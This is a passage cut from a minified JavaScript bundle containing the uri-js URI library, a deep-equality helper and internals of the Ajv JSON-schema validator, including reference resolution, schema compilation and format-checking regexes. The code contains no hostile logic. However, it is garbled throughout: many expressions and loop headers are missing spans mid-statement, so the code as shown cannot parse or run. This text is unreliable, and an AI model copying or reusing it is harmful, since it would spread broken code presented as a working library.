aa=Un<=De?g:Un>=De+b?b:Un-De;if(zn>6|192).toString(16).toUpperCase()+"%"+(D&63|128).toString(16).toUpperCase():W="%"+(D>>12|224).toString(16).toUpperCase()+"%"+(D>>6&63|128).toString(16).toUpperCase()+"%"+(D&63|128).toString(16).toUpperCase(),W}function X(B){for(var D="",W=0,J=B.length;W=194&&Q<224){if(J-W>=6){var ye=parseInt(B.substr(W+4,2),16);D+=String.fromCharCode((Q&31)<<6|ye&63)}else D+=B.substr(W,6);W+=6}else if(Q>=224){if(J-W>=9){var De=parseInt(B.substr(W+4,2),16),Ze=parseInt(B.substr(W+7,2),16);D+=String.fromCharCode((Q&15)<<12|(De&63)<<6|Ze&63)}else D+=B.substr(W,9);W+=9}else D+=B.substr(W,3),W+=3}return D}function Y(B,D){function W(J){var Q=X(J);return Q.match(D.UNRESERVED)?Q:J}return B.scheme&&(B.scheme=String(B.scheme).replace(D.PCT_ENCODED,W).toLowerCase().replace(D.NOT_SCHEME,"")),B.userinfo!==void 0&&(B.userinfo=String(B.userinfo).replace(D.PCT_ENCODED,W).replace(D.NOT_USERINFO,M).replace(D.PCT_ENCODED,a)),B.host!==void 0&&(B.host=String(B.host).replace(D.PCT_ENCODED,W).toLowerCase().replace(D.NOT_HOST,M).replace(D.PCT_ENCODED,a)),B.path!==void 0&&(B.path=String(B.path).replace(D.PCT_ENCODED,W).replace(B.scheme?D.NOT_PATH:D.NOT_PATH_NOSCHEME,M).replace(D.PCT_ENCODED,a)),B.query!==void 0&&(B.query=String(B.query).replace(D.PCT_ENCODED,W).replace(D.NOT_QUERY,M).replace(D.PCT_ENCODED,a)),B.fragment!==void 0&&(B.fragment=String(B.fragment).replace(D.PCT_ENCODED,W).replace(D.NOT_FRAGMENT,M).replace(D.PCT_ENCODED,a)),B}function de(B){return B.replace(/^0*(.*)/,"$1")||"0"}function ie(B,D){var W=B.match(D.IPV4ADDRESS)||[],J=l(W,2),Q=J[1];return Q?Q.split(".").map(de).join("."):B}function ve(B,D){var W=B.match(D.IPV6ADDRESS)||[],J=l(W,3),Q=J[1],ye=J[2];if(Q){for(var De=Q.toLowerCase().split("::").reverse(),Ze=l(De,2),Qe=Ze[0],kt=Ze[1],Ve=kt?kt.split(":").map(de):[],vt=Qe.split(":").map(de),Rt=D.IPV4ADDRESS.test(vt[vt.length-1]),pt=Rt?7:8,Ke=vt.length-pt,gt=Array(pt),rt=0;rt1){var nt=gt.slice(0,sr.index),ir=gt.slice(sr.index+sr.length);lr=nt.join(":")+"::"+ir.join(":")}else lr=gt.join(":");return ye&&(lr+="%"+ye),lr}else return B}var O=/^(?:([^:\/?#]+):)?(?:\/\/((?:([^\/?#@]*)@)?(\[[^\/?#\]]+\]|[^\/?#:]*)(?:\:(\d*))?))?([^?#]*)(?:\?([^#]*))?(?:#((?:.|\n|\r)*))?/i,I="".match(/(){0}/)[1]===void 0;function z(B){var D=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},W={},J=D.iri!==!1?u:c;D.reference==="suffix"&&(B=(D.scheme?D.scheme+":":"")+"//"+B);var Q=B.match(O);if(Q){I?(W.scheme=Q[1],W.userinfo=Q[3],W.host=Q[4],W.port=parseInt(Q[5],10),W.path=Q[6]||"",W.query=Q[7],W.fragment=Q[8],isNaN(W.port)&&(W.port=Q[5])):(W.scheme=Q[1]||void 0,W.userinfo=B.indexOf("@")!==-1?Q[3]:void 0,W.host=B.indexOf("//")!==-1?Q[4]:void 0,W.port=parseInt(Q[5],10),W.path=Q[6]||"",W.query=B.indexOf("?")!==-1?Q[7]:void 0,W.fragment=B.indexOf("#")!==-1?Q[8]:void 0,isNaN(W.port)&&(W.port=B.match(/\/\/(?:.|\n)*\:(?:\/|\?|\#|$)/)?Q[4]:void 0)),W.host&&(W.host=ve(ie(W.host,J),J)),W.scheme===void 0&&W.userinfo===void 0&&W.host===void 0&&W.port===void 0&&!W.path&&W.query===void 0?W.reference="same-document":W.scheme===void 0?W.reference="relative":W.fragment===void 0?W.reference="absolute":W.reference="uri",D.reference&&D.reference!=="suffix"&&D.reference!==W.reference&&(W.error=W.error||"URI is not a "+D.reference+" reference.");var ye=k[(D.scheme||W.scheme||"").toLowerCase()];if(!D.unicodeSupport&&(!ye||!ye.unicodeSupport)){if(W.host&&(D.domainHost||ye&&ye.domainHost))try{W.host=E.toASCII(W.host.replace(J.PCT_ENCODED,X).toLowerCase())}catch(De){W.error=W.error||"Host's domain name can not be converted to ASCII via punycode: "+De}Y(W,c)}else Y(W,J);ye&&ye.parse&&ye.parse(W,D)}else W.error=W.error||"URI can not be parsed.";return W}function Z(B,D){var W=D.iri!==!1?u:c,J=[];return B.userinfo!==void 0&&(J.push(B.userinfo),J.push("@")),B.host!==void 0&&J.push(ve(ie(String(B.host),W),W).replace(W.IPV6ADDRESS,function(Q,ye,De){return"["+ye+(De?"%25"+De:"")+"]"})),(typeof B.port=="number"||typeof B.port=="string")&&(J.push(":"),J.push(String(B.port))),J.length?J.join(""):void 0}var K=/^\.\.?\//,ue=/^\/\.(\/|$)/,Ce=/^\/\.\.(\/|$)/,Me=/^\/?(?:.|\n)*?(?=\/|$)/;function Ae(B){for(var D=[];B.length;)if(B.match(K))B=B.replace(K,"");else if(B.match(ue))B=B.replace(ue,"/");else if(B.match(Ce))B=B.replace(Ce,"/"),D.pop();else if(B==="."||B==="..")B="";else{var W=B.match(Me);if(W){var J=W[0];B=B.slice(J.length),D.push(J)}else throw new Error("Unexpected dot segment condition")}return D.join("")}function Ie(B){var D=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},W=D.iri?u:c,J=[],Q=k[(D.scheme||B.scheme||"").toLowerCase()];if(Q&&Q.serialize&&Q.serialize(B,D),B.host&&!W.IPV6ADDRESS.test(B.host)){if(D.domainHost||Q&&Q.domainHost)try{B.host=D.iri?E.toUnicode(B.host):E.toASCII(B.host.replace(W.PCT_ENCODED,X).toLowerCase())}catch(Ze){B.error=B.error||"Host's domain name can not be converted to "+(D.iri?"Unicode":"ASCII")+" via punycode: "+Ze}}Y(B,W),D.reference!=="suffix"&&B.scheme&&(J.push(B.scheme),J.push(":"));var ye=Z(B,D);if(ye!==void 0&&(D.reference!=="suffix"&&J.push("//"),J.push(ye),B.path&&B.path.charAt(0)!=="/"&&J.push("/")),B.path!==void 0){var De=B.path;!D.absolutePath&&(!Q||!Q.absolutePath)&&(De=Ae(De)),ye===void 0&&(De=De.replace(/^\/\//,"/%2F")),J.push(De)}return B.query!==void 0&&(J.push("?"),J.push(B.query)),B.fragment!==void 0&&(J.push("#"),J.push(B.fragment)),J.join("")}function Te(B,D){var W=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{},J=arguments[3],Q={};return J||(B=z(Ie(B,W),W),D=z(Ie(D,W),W)),W=W||{},!W.tolerant&&D.scheme?(Q.scheme=D.scheme,Q.userinfo=D.userinfo,Q.host=D.host,Q.port=D.port,Q.path=Ae(D.path||""),Q.query=D.query):(D.userinfo!==void 0||D.host!==void 0||D.port!==void 0?(Q.userinfo=D.userinfo,Q.host=D.host,Q.port=D.port,Q.path=Ae(D.path||""),Q.query=D.query):(D.path?(D.path.charAt(0)==="/"?Q.path=Ae(D.path):((B.userinfo!==void 0||B.host!==void 0||B.port!==void 0)&&!B.path?Q.path="/"+D.path:B.path?Q.path=B.path.slice(0,B.path.lastIndexOf("/")+1)+D.path:Q.path=D.path,Q.path=Ae(Q.path)),Q.query=D.query):(Q.path=B.path,D.query!==void 0?Q.query=D.query:Q.query=B.query),Q.userinfo=B.userinfo,Q.host=B.host,Q.port=B.port),Q.scheme=B.scheme),Q.fragment=D.fragment,Q}function dt(B,D,W){var J=i({scheme:"null"},W);return Ie(Te(z(B,J),z(D,J),J,!0),J)}function Le(B,D){return typeof B=="string"?B=Ie(z(B,D),D):n(B)==="object"&&(B=z(Ie(B,D),D)),B}function ur(B,D,W){return typeof B=="string"?B=Ie(z(B,W),W):n(B)==="object"&&(B=Ie(B,W)),typeof D=="string"?D=Ie(z(D,W),W):n(D)==="object"&&(D=Ie(D,W)),B===D}function Bt(B,D){return B&&B.toString().replace(!D||!D.iri?c.ESCAPE:u.ESCAPE,M)}function Ot(B,D){return B&&B.toString().replace(!D||!D.iri?c.PCT_ENCODED:u.PCT_ENCODED,X)}var $r={scheme:"http",domainHost:!0,parse:function(D,W){return D.host||(D.error=D.error||"HTTP URIs must have a host."),D},serialize:function(D,W){var J=String(D.scheme).toLowerCase()==="https";return(D.port===(J?443:80)||D.port==="")&&(D.port=void 0),D.path||(D.path="/"),D}},_a={scheme:"https",domainHost:$r.domainHost,parse:$r.parse,serialize:$r.serialize};function Ln(B){return typeof B.secure=="boolean"?B.secure:String(B.scheme).toLowerCase()==="wss"}var di={scheme:"ws",domainHost:!0,parse:function(D,W){var J=D;return J.secure=Ln(J),J.resourceName=(J.path||"/")+(J.query?"?"+J.query:""),J.path=void 0,J.query=void 0,J},serialize:function(D,W){if((D.port===(Ln(D)?443:80)||D.port==="")&&(D.port=void 0),typeof D.secure=="boolean"&&(D.scheme=D.secure?"wss":"ws",D.secure=void 0),D.resourceName){var J=D.resourceName.split("?"),Q=l(J,2),ye=Q[0],De=Q[1];D.path=ye&&ye!=="/"?ye:void 0,D.query=De,D.resourceName=void 0}return D.fragment=void 0,D}},Qm={scheme:"wss",domainHost:di.domainHost,parse:di.parse,serialize:di.serialize},nR={},sR=!0,eh="[A-Za-z0-9\\-\\.\\_\\~"+(sR?"\\xA0-\\u200D\\u2010-\\u2029\\u202F-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF":"")+"]",Lr="[0-9A-Fa-f]",iR=r(r("%[EFef]"+Lr+"%"+Lr+Lr+"%"+Lr+Lr)+"|"+r("%[89A-Fa-f]"+Lr+"%"+Lr+Lr)+"|"+r("%"+Lr+Lr)),oR="[A-Za-z0-9\\!\\$\\%\\'\\*\\+\\-\\^\\_\\`\\{\\|\\}\\~]",cR="[\\!\\$\\%\\'\\(\\)\\*\\+\\,\\-\\.0-9\\<\\>A-Z\\x5E-\\x7E]",uR=e(cR,'[\\"\\\\]'),lR="[\\!\\$\\'\\(\\)\\*\\+\\,\\;\\:\\@]",dR=new RegExp(eh,"g"),Fn=new RegExp(iR,"g"),pR=new RegExp(e("[^]",oR,"[\\.]",'[\\"]',uR),"g"),th=new RegExp(e("[^]",eh,lR),"g"),fR=th;function Ul(B){var D=X(B);return D.match(dR)?D:B}var rh={scheme:"mailto",parse:function(D,W){var J=D,Q=J.to=J.path?J.path.split(","):[];if(J.path=void 0,J.query){for(var ye=!1,De={},Ze=J.query.split("&"),Qe=0,kt=Ze.length;Qe{"use strict";Ux.exports=function t(e,r){if(e===r)return!0;if(e&&r&&typeof e=="object"&&typeof r=="object"){if(e.constructor!==r.constructor)return!1;var n,a,s;if(Array.isArray(e)){if(n=e.length,n!=r.length)return!1;for(a=n;a--!==0;)if(!t(e[a],r[a]))return!1;return!0}if(e.constructor===RegExp)return e.source===r.source&&e.flags===r.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===r.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===r.toString();if(s=Object.keys(e),n=s.length,n!==Object.keys(r).length)return!1;for(a=n;a--!==0;)if(!Object.prototype.hasOwnProperty.call(r,s[a]))return!1;for(a=n;a--!==0;){var i=s[a];if(!t(e[i],r[i]))return!1}return!0}return e!==e&&r!==r}});var Bx=V((DZ,Hx)=>{"use strict";Hx.exports=function(e){for(var r=0,n=e.length,a=0,s;a=55296&&s<=56319&&a{"use strict";Zx.exports={copy:ID,checkDataType:df,checkDataTypes:AD,coerceToTypes:ND,toHash:ff,getProperty:mf,escapeQuotes:hf,equal:ou(),ucs2length:Bx(),varOccurences:DD,varReplace:qD,schemaHasRules:LD,schemaHasRulesExcept:FD,schemaUnknownRules:zD,toQuotedString:pf,getPathExpr:UD,getPath:HD,getData:WD,unescapeFragment:ZD,unescapeJsonPointer:gf,escapeFragment:GD,escapeJsonPointer:vf};function ID(t,e){e=e||{};for(var r in t)e[r]=t[r];return e}function df(t,e,r,n){var a=n?" !== ":" === ",s=n?" || ":" && ",i=n?"!":"",o=n?"":"!";switch(t){case"null":return e+a+"null";case"array":return i+"Array.isArray("+e+")";case"object":return"("+i+e+s+"typeof "+e+a+'"object"'+s+o+"Array.isArray("+e+"))";case"integer":return"(typeof "+e+a+'"number"'+s+o+"("+e+" % 1)"+s+e+a+e+(r?s+i+"isFinite("+e+")":"")+")";case"number":return"(typeof "+e+a+'"'+t+'"'+(r?s+i+"isFinite("+e+")":"")+")";default:return"typeof "+e+a+'"'+t+'"'}}function AD(t,e,r){switch(t.length){case 1:return df(t[0],e,r,!0);default:var n="",a=ff(t);a.array&&a.object&&(n=a.null?"(":"(!"+e+" || ",n+="typeof "+e+' !== "object")',delete a.null,delete a.array,delete a.object),a.number&&delete a.integer;for(var s in a)n+=(n?" && ":"")+df(s,e,r,!0);return n}}var Vx=ff(["string","number","integer","boolean","null"]);function ND(t,e){if(Array.isArray(e)){for(var r=[],n=0;n=e)throw new Error("Cannot access property/index "+n+" levels up, current level is "+e);return r[e-n]}if(n>e)throw new Error("Cannot access data "+n+" levels up, current level is "+e);if(s="data"+(e-n||""),!a)return s}for(var o=s,c=a.split("/"),u=0;u{"use strict";var KD=Rn();Gx.exports=XD;function XD(t){KD.copy(t,this)}});var Xx=V((FZ,Kx)=>{"use strict";var Aa=Kx.exports=function(t,e,r){typeof e=="function"&&(r=e,e={}),r=e.cb||r;var n=typeof r=="function"?r:r.pre||function(){},a=r.post||function(){};cu(e,n,a,t,"",t)};Aa.keywords={additionalItems:!0,items:!0,contains:!0,additionalProperties:!0,propertyNames:!0,not:!0};Aa.arrayKeywords={items:!0,allOf:!0,anyOf:!0,oneOf:!0};Aa.propsKeywords={definitions:!0,properties:!0,patternProperties:!0,dependencies:!0};Aa.skipKeywords={default:!0,enum:!0,const:!0,required:!0,maximum:!0,minimum:!0,exclusiveMaximum:!0,exclusiveMinimum:!0,multipleOf:!0,maxLength:!0,minLength:!0,pattern:!0,format:!0,maxItems:!0,minItems:!0,uniqueItems:!0,maxProperties:!0,minProperties:!0};function cu(t,e,r,n,a,s,i,o,c,u){if(n&&typeof n=="object"&&!Array.isArray(n)){e(n,a,s,i,o,c,u);for(var l in n){var d=n[l];if(Array.isArray(d)){if(l in Aa.arrayKeywords)for(var f=0;f{"use strict";var ao=zx(),Jx=ou(),pu=Rn(),uu=yf(),YD=Xx();ew.exports=ja;ja.normalizeId=Na;ja.fullPath=lu;ja.url=du;ja.ids=a8;ja.inlineRef=_f;ja.schema=fu;function ja(t,e,r){var n=this._refs[r];if(typeof n=="string")if(this._refs[n])n=this._refs[n];else return ja.call(this,t,e,n);if(n=n||this._schemas[r],n instanceof uu)return _f(n.schema,this._opts.inlineRefs)?n.schema:n.validate||this._compile(n);var a=fu.call(this,e,r),s,i,o;return a&&(s=a.schema,e=a.root,o=a.baseId),s instanceof uu?i=s.validate||t.call(this,s.schema,e,void 0,o):s!==void 0&&(i=_f(s,this._opts.inlineRefs)?s:t.call(this,s,e,void 0,o)),i}function fu(t,e){var r=ao.parse(e),n=Qx(r),a=lu(this._getId(t.schema));if(Object.keys(t.schema).length===0||n!==a){var s=Na(n),i=this._refs[s];if(typeof i=="string")return QD.call(this,t,i,r);if(i instanceof uu)i.validate||this._compile(i),t=i;else if(i=this._schemas[s],i instanceof uu){if(i.validate||this._compile(i),s==Na(e))return{schema:i,root:t,baseId:a};t=i}else return;if(!t.schema)return;a=lu(this._getId(t.schema))}return Yx.call(this,r,a,t.schema,t)}function QD(t,e,r){var n=fu.call(this,t,e);if(n){var a=n.schema,s=n.baseId;t=n.root;var i=this._getId(a);return i&&(s=du(s,i)),Yx.call(this,r,s,a,t)}}var e8=pu.toHash(["properties","patternProperties","enum","dependencies","definitions"]);function Yx(t,e,r,n){if(t.fragment=t.fragment||"",t.fragment.slice(0,1)=="/"){for(var a=t.fragment.split("/"),s=1;s{"use strict";var wf=mu();rw.exports={Validation:tw(n8),MissingRef:tw(Sf)};function n8(t){this.message="validation failed",this.errors=t,this.ajv=this.validation=!0}Sf.message=function(t,e){return"can't resolve reference "+e+" from id "+t};function Sf(t,e,r){this.message=r||Sf.message(t,e),this.missingRef=wf.url(t,e),this.missingSchema=wf.normalizeId(wf.fullPath(this.missingRef))}function tw(t){return t.prototype=Object.create(Error.prototype),t.prototype.constructor=t,t}});var Ef=V((HZ,aw)=>{"use strict";aw.exports=function(t,e){e||(e={}),typeof e=="function"&&(e={cmp:e});var r=typeof e.cycles=="boolean"?e.cycles:!1,n=e.cmp&&(function(s){return function(i){return function(o,c){var u={key:o,value:i[o]},l={key:c,value:i[c]};return s(u,l)}}})(e.cmp),a=[];return(function s(i){if(i&&i.toJSON&&typeof i.toJSON=="function"&&(i=i.toJSON()),i!==void 0){if(typeof i=="number")return isFinite(i)?""+i:"null";if(typeof i!="object")return JSON.stringify(i);var o,c;if(Array.isArray(i)){for(c="[",o=0;o{"use strict";nw.exports=function(e,r,n){var a="",s=e.schema.$async===!0,i=e.util.schemaHasRulesExcept(e.schema,e.RULES.all,"$ref"),o=e.self._getId(e.schema);if(e.opts.strictKeywords){var c=e.util.schemaUnknownRules(e.schema,e.RULES.keywords);if(c){var u="unknown keyword: "+c;if(e.opts.strictKeywords==="log")e.logger.warn(u);else throw new Error(u)}}if(e.isTop&&(a+=" var validate = ",s&&(e.async=!0,a+="async "),a+="function(data, dataPath, parentData, parentDataProperty, rootData) { 'use strict'; ",o&&(e.opts.sourceCode||e.opts.processCode)&&(a+=" "+("/*# sourceURL="+o+" */")+" ")),typeof e.schema=="boolean"||!(i||e.schema.$ref)){var r="false schema",l=e.level,d=e.dataLevel,f=e.schema[r],m=e.schemaPath+e.util.getProperty(r),g=e.errSchemaPath+"/"+r,S=!e.opts.allErrors,T,b="data"+(d||""),_="valid"+l;if(e.schema===!1){e.isTop?S=!0:a+=" var "+_+" = false; ";var p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(T||"false schema")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(g)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: 'boolean schema is false' "),e.opts.verbose&&(a+=" , schema: false , parentSchema: validate.schema"+e.schemaPath+" , data: "+b+" "),a+=" } "):a+=" {} ";var h=a;a=p.pop(),!e.compositeRule&&S?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; "}else e.isTop?s?a+=" return data; ":a+=" validate.errors = null; return true; ":a+=" var "+_+" = true; ";return e.isTop&&(a+=" }; return validate; "),a}if(e.isTop){var y=e.isTop,l=e.level=0,d=e.dataLevel=0,b="data";if(e.rootId=e.resolve.fullPath(e.self._getId(e.root.schema)),e.baseId=e.baseId||e.rootId,delete e.isTop,e.dataPathArr=[""],e.schema.default!==void 0&&e.opts.useDefaults&&e.opts.strictDefaults){var v="default is ignored in the schema root";if(e.opts.strictDefaults==="log")e.logger.warn(v);else throw new Error(v)}a+=" var vErrors = null; ",a+=" var errors = 0; ",a+=" if (rootData === undefined) rootData = data; "}else{var l=e.level,d=e.dataLevel,b="data"+(d||"");if(o&&(e.baseId=e.resolve.url(e.baseId,o)),s&&!e.async)throw new Error("async schema in sync schema");a+=" var errs_"+l+" = errors;"}var _="valid"+l,S=!e.opts.allErrors,x="",w="",T,R=e.schema.type,A=Array.isArray(R);if(R&&e.opts.nullable&&e.schema.nullable===!0&&(A?R.indexOf("null")==-1&&(R=R.concat("null")):R!="null"&&(R=[R,"null"],A=!0)),A&&R.length==1&&(R=R[0],A=!1),e.schema.$ref&&i){if(e.opts.extendRefs=="fail")throw new Error('$ref: validation keywords used in schema at path "'+e.errSchemaPath+'" (see option extendRefs)');e.opts.extendRefs!==!0&&(i=!1,e.logger.warn('$ref: keywords ignored in schema at path "'+e.errSchemaPath+'"'))}if(e.schema.$comment&&e.opts.$comment&&(a+=" "+e.RULES.all.$comment.code(e,"$comment")),R){if(e.opts.coerceTypes)var j=e.util.coerceToTypes(e.opts.coerceTypes,R);var q=e.RULES.types[R];if(j||A||q===!0||q&&!Me(q)){var m=e.schemaPath+".type",g=e.errSchemaPath+"/type",m=e.schemaPath+".type",g=e.errSchemaPath+"/type",U=A?"checkDataTypes":"checkDataType";if(a+=" if ("+e.util[U](R,b,e.opts.strictNumbers,!0)+") { ",j){var N="dataType"+l,G="coerced"+l;a+=" var "+N+" = typeof "+b+"; var "+G+" = undefined; ",e.opts.coerceTypes=="array"&&(a+=" if ("+N+" == 'object' && Array.isArray("+b+") && "+b+".length == 1) { "+b+" = "+b+"[0]; "+N+" = typeof "+b+"; if ("+e.util.checkDataType(e.schema.type,b,e.opts.strictNumbers)+") "+G+" = "+b+"; } "),a+=" if ("+G+" !== undefined) ; ";var te=j;if(te)for(var ce,le=-1,ne=te.length-1;le{"use strict";var vu=mu(),yu=Rn(),iw=hu(),s8=Ef(),sw=Tf(),i8=yu.ucs2length,o8=ou(),c8=iw.Validation;cw.exports=kf;function kf(t,e,r,n){var a=this,s=this._opts,i=[void 0],o={},c=[],u={},l=[],d={},f=[];e=e||{schema:t,refVal:i,refs:o};var m=u8.call(this,t,e,n),g=this._compilations[m.index];if(m.compiling)return g.callValidate=v;var b=this._formats,p=this.RULES;try{var h=_(t,e,r,n);g.validate=h;var y=g.callValidate;return y&&(y.schema=h.schema,y.errors=null,y.refs=h.refs,y.refVal=h.refVal,y.root=h.root,y.$async=h.$async,s.sourceCode&&(y.source=h.source)),h}finally{l8.call(this,t,e,n)}function v(){var U=g.validate,N=U.apply(this,arguments);return v.errors=U.errors,N}function _(U,N,G,te){var ce=!N||N&&N.schema==U;if(N.schema!=e.schema)return kf.call(a,U,N,G,te);var le=U.$async===!0,ne=sw({isTop:!0,schema:U,isRoot:ce,baseId:te,root:N,schemaPath:"",errSchemaPath:"#",errorPath:'""',MissingRefError:iw.MissingRef,RULES:p,validate:sw,util:yu,resolve:vu,resolveRef:S,usePattern:A,useDefault:j,useCustomRule:q,opts:s,formats:b,logger:a.logger,self:a});ne=gu(i,f8)+gu(c,d8)+gu(l,p8)+gu(f,m8)+ne,s.processCode&&(ne=s.processCode(ne,U));var H;try{var P=new Function("self","RULES","formats","root","refVal","defaults","customRules","equal","ucs2length","ValidationError",ne);H=P(a,p,b,e,i,l,f,o8,i8,c8),i[0]=H}catch(L){throw a.logger.error("Error compiling schema, function code:",ne),L}return H.schema=U,H.errors=null,H.refs=o,H.refVal=i,H.root=ce?H:N,le&&(H.$async=!0),s.sourceCode===!0&&(H.source={code:ne,patterns:c,defaults:l}),H}function S(U,N,G){N=vu.url(U,N);var te=o[N],ce,le;if(te!==void 0)return ce=i[te],le="refVal["+te+"]",R(ce,le);if(!G&&e.refs){var ne=e.refs[N];if(ne!==void 0)return ce=e.refVal[ne],le=x(N,ce),R(ce,le)}le=x(N);var H=vu.call(a,_,e,N);if(H===void 0){var P=r&&r[N];P&&(H=vu.inlineRef(P,s.inlineRefs)?P:kf.call(a,P,e,r,U))}if(H===void 0)w(N);else return T(N,H),R(H,le)}function x(U,N){var G=i.length;return i[G]=N,o[U]=G,"refVal"+G}function w(U){delete o[U]}function T(U,N){var G=o[U];i[G]=N}function R(U,N){return typeof U=="object"||typeof U=="boolean"?{code:N,schema:U,inline:!0}:{code:N,$async:U&&!!U.$async}}function A(U){var N=u[U];return N===void 0&&(N=u[U]=c.length,c[N]=U),"pattern"+N}function j(U){switch(typeof U){case"boolean":case"number":return""+U;case"string":return yu.toQuotedString(U);case"object":if(U===null)return"null";var N=s8(U),G=d[N];return G===void 0&&(G=d[N]=l.length,l[G]=U),"default"+G}}function q(U,N,G,te){if(a._opts.validateSchema!==!1){var ce=U.definition.dependencies;if(ce&&!ce.every(function(M){return Object.prototype.hasOwnProperty.call(G,M)}))throw new Error("parent schema must have all required keywords: "+ce.join(","));var le=U.definition.validateSchema;if(le){var ne=le(N);if(!ne){var H="keyword schema is invalid: "+a.errorsText(le.errors);if(a._opts.validateSchema=="log")a.logger.error(H);else throw new Error(H)}}}var P=U.definition.compile,L=U.definition.inline,C=U.definition.macro,E;if(P)E=P.call(a,N,G,te);else if(C)E=C.call(a,N,G,te),s.validateSchema!==!1&&a.validateSchema(E,!0);else if(L)E=L.call(a,te,U.keyword,N,G);else if(E=U.definition.validate,!E)return;if(E===void 0)throw new Error('custom keyword "'+U.keyword+'"failed to compile');var k=f.length;return f[k]=E,{code:"customRule"+k,validate:E}}}function u8(t,e,r){var n=ow.call(this,t,e,r);return n>=0?{index:n,compiling:!0}:(n=this._compilations.length,this._compilations[n]={schema:t,root:e,baseId:r},{index:n,compiling:!1})}function l8(t,e,r){var n=ow.call(this,t,e,r);n>=0&&this._compilations.splice(n,1)}function ow(t,e,r){for(var n=0;n{"use strict";var _u=lw.exports=function(){this._cache={}};_u.prototype.put=function(e,r){this._cache[e]=r};_u.prototype.get=function(e){return this._cache[e]};_u.prototype.del=function(e){delete this._cache[e]};_u.prototype.clear=function(){this._cache={}}});var Sw=V((ZZ,ww)=>{"use strict";var h8=Rn(),v8=/^(\d\d\d\d)-(\d\d)-(\d\d)$/,g8=[0,31,28,31,30,31,30,31,31,30,31,30,31],y8=/^(\d\d):(\d\d):(\d\d)(\.\d+)?(z|[+-]\d\d(?::?\d\d)?)?$/i,pw=/^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i,_8=/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)(?:\?(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,b8=/^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-